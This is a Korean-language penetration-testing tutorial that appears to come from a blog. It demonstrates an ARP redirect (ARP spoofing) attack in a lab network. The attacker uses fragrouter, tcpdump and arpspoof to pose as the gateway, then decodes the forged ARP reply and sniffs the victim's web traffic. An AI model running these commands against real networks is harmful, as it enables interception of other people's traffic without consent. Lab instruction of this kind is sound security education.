[모의해킹] EP.02 : ARP Redirect

1. ARP Redirect 란?

Arp redirect란 arp spoofing의 한 종류입니다. arp spoofing이란 공격 대상이 통신하고자 하는 목적지의 MAC 주소를 공격자의 MAC 주소로 속여 패킷을 가로채는 공격 기법입니다. arp redirect는 공격자가 자신이 라우터라고 속여 외부로 나가는 패킷을 가로채는 공격 기법으로 공격자에게 라우터의 MAC 주소를 자신의 MAC 주소로 속여 외부로 나가는 패킷을 가로챕니다.

 

 아래 그림은 이해하기 쉽게 ARP Redirect 공격 형태 흐름도를 그림으로 표현하였습니다.

1번 패킷 - ARP REPLY

FROM - AA:AA:AA:AA:AA:AA

TO - CC:CC:CC:CC:CC:CC

SENDER IP - 192.168.10.1

SOURCE MAC - BB:BB:BB:BB:BB:BB

2번 패킷 - 외부로 나가는 패킷

3번 패킷 - 도청 후 공격 대상이 정상적인 인터넷 사용이 가능하도록 패킷 릴레이

 

 

 

 

 2 실습환경

공격 대상 - IP : 192.168.10.189, MAC : BC:5F:F4:34:14:f7

라우터 - IP : 192.168.10.1, MAC : 00:26:66:D5:E1:08

공격자 - IP : 192.168.10.150, MAC : 00:0C:29:9B:94:96

라우터(192.168.10.1)와 공격 대상(192.168.10.189)의 공격 전 MAC 주소

 

공격자(192.168.10.150)의 MAC 주소

 

 

 

3. 실습 준비

3.1 공격자 - fragrouter 설치

fragrouter 는 arp redirect 공격 이후에 공격 대상자의 원활한 통신을 위해 패킷 릴레이를 해주는 프로그램입니다. fragrouter를 사용하기 위해서는 libnet과 libpap이 설치되어 있어야 합니다

 

fragrouter 파일을 다운받아 압축을 풀고 해당 디렉토리로 이동하여 ./configure, make, make install 명령어를 차례로 입력합니다

 

 

4 실습

4.1 공격자 PC에서 fragrouter를 실행해 패킷 릴레이가 가능하도록 합니다.

# fragrouter -B1 : B1옵션은 IP를 포워딩 해주는 옵션입니다.

 

4.2 tcpdump를 이용하여 패킷을 캡처합니다

#tcpdump -xX 0i eth0 host (공격 대상 IP) > (파일 이름)

 

4.3 arp redirect 공격을 시작합니다!

# arpspoof -i eth0 -t (공격 대상 IP) (라우터 IP)

 

4.4 arp reply 패킷을 캡처해서 분석해봤습니다.

arp reply 패킷 캡쳐사진

Destination MAC Addr (6 bytes)
BC : 5F : F4 : 34 : 14 : F7
Source MAC Addr (6 bytes)
00 : 0C : 29 : 9B : 94 : 96
Type (2 bytes)
08 06 (IP)
H/W Type (2 bytes)	Protocol Type (2 bytes)	H/W Length (1 byte)	Protocol Length (1 byte)	OP (2 bytes)
00 01 (Ethernet)	08 00 (IPv4)	06 (6 bytes)	04 (4 bytes)	00 02 (ARP reply)
Source MAC Addr (6 bytes)			Sender IP Addr (4 bytes)
00 : 0C : 29 : 9B : 94 : 96			c0 a8 0a 01 (192.168.10.1)
Destination MAC Addr (6 bytes)			Target IP Addr (4 bytes)
BC : 5F : F4 : 34 : 14 : F7			C0 a8 0a bd (192.168.10.189)

패킷 유형은 arp reply로 공격 대상(192.168.10.189)에게 게이트웨이(192.168.10.1)의 MAC 주소가 00:0 C:29:9 B:94:96(공격자의 MAC 주소)이라고 알리고 있습니다

 

 

4.5 이번엔 공격 대상의 인터넷 사용을 스니핑 해봤습니다.

wireshark에서 공격 대상의 인터넷 사용 패킷 필터링

 

tcpdump에서 공격 대상의 인터넷 사용 패킷 필터링

 

wireshark에서 공격 대상의 웹페이지 접속 확인

 

tcpdump에서 공격 대상의 웹페이지 접속 확인